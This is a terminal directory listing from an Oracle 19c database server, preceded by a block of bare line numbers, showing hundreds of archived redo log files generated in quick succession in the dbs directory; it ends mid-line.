1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 [oracle@oracle-19c-ol7-121 ~]$ ll -hrt /u01/app/oracle/product/19.0.0/dbhome_1/dbs total 18G -rw-r--r--. 1 oracle oinstall 3.1K May 14 2015 init.ora -rw-r-----. 1 oracle oinstall 24 Oct 25 20:19 lkDB -rw-r-----. 1 oracle oinstall 11M Oct 25 20:49 c-1979277899-20251025-00 -rw-r-----. 1 oracle oinstall 170M Oct 26 13:26 arch1_5_1215462093.dbf -rw-r-----. 1 oracle oinstall 176M Oct 26 17:36 arch1_6_1215462093.dbf -rw-r-----. 1 oracle oinstall 183M Oct 28 02:00 arch1_7_1215462093.dbf -rw-r-----. 1 oracle oinstall 183M Dec 15 17:00 arch1_8_1215462093.dbf -rw-r-----. 1 oracle oinstall 2.0K Dec 26 22:37 orapwdb1 -rw-r-----. 1 oracle oinstall 122M Dec 27 12:17 arch1_9_1215462093.dbf -rw-r-----. 1 oracle oinstall 11M Dec 27 12:26 c-1979277899-20251227-00 -rw-r-----. 1 oracle oinstall 6.4M Dec 27 13:08 arch1_10_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:08 arch1_11_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:08 arch1_12_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:08 arch1_13_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:08 arch1_14_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:08 arch1_15_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:08 arch1_16_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:08 arch1_17_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.5M Dec 27 13:08 arch1_18_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.6M Dec 27 13:09 arch1_19_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_20_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 13:09 arch1_21_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_22_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_23_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_24_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_25_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_26_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_27_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_28_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_29_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_30_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_31_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_32_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_33_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_34_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_35_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_36_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_37_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:09 arch1_38_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_39_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_40_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 13:10 arch1_41_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_42_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_43_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_44_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_45_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_46_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_47_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_48_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_49_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_50_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_51_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_52_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_53_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_54_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 13:10 arch1_55_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_56_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:10 arch1_57_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_58_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_59_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_60_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_61_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_62_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_63_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_64_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_65_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_66_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_67_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_68_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_69_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_70_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_71_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_72_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_73_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_74_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 13:11 arch1_75_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:11 arch1_76_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 13:12 arch1_77_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:12 arch1_78_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:12 arch1_79_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 13:12 arch1_80_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 13:12 arch1_81_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 13:12 arch1_82_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 15:00 arch1_83_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 16:20 arch1_84_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 16:20 arch1_85_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 18:00 arch1_86_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_87_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_88_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_89_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_90_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_91_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_92_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_93_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_94_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_95_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:00 arch1_96_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_97_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_98_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_99_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_100_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_101_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_102_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_103_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_104_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.7M Dec 27 19:01 arch1_105_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_106_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_107_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_108_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.8M Dec 27 19:01 arch1_109_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_110_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_111_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_112_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_113_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_114_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_115_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:01 arch1_116_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_117_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_118_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_119_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_120_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_121_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_122_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_123_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_124_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_125_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_126_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_127_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_128_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_129_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_130_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_131_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_132_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_133_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_134_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_135_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:02 arch1_136_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_137_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_138_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_139_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_140_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_141_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_142_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_143_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_144_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_145_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_146_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_147_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_148_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_149_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_150_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_151_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_152_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_153_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_154_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:03 arch1_155_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_156_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_157_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_158_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_159_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_160_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_161_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_162_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_163_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_164_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_165_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_166_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_167_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_168_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_169_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_170_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_171_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_172_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_173_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_174_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:04 arch1_175_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_176_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_177_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_178_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_179_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_180_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_181_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_182_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_183_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_184_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.7M Dec 27 19:05 arch1_185_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_186_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_187_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_188_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_189_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_190_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_191_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:05 arch1_192_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:18 arch1_193_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:31 arch1_194_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:44 arch1_195_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:46 arch1_196_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:46 arch1_197_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:46 arch1_198_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:46 arch1_199_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:46 arch1_200_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:46 arch1_201_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_202_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_203_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_204_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_205_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_206_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 19:47 arch1_207_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_208_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_209_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_210_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_211_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_212_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_213_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_214_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_215_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_216_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:47 arch1_217_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 19:48 arch1_218_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_219_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 19:48 arch1_220_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_221_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_222_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_223_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 19:48 arch1_224_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_225_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_226_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.6M Dec 27 19:48 arch1_227_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_228_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_229_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_230_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_231_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_232_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_233_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_234_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_235_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:48 arch1_236_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 19:48 arch1_237_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_238_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_239_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_240_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_241_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_242_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_243_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 19:49 arch1_244_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_245_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 19:49 arch1_246_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_247_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_248_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_249_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_250_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_251_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_252_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_253_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_254_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_255_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_256_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:49 arch1_257_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 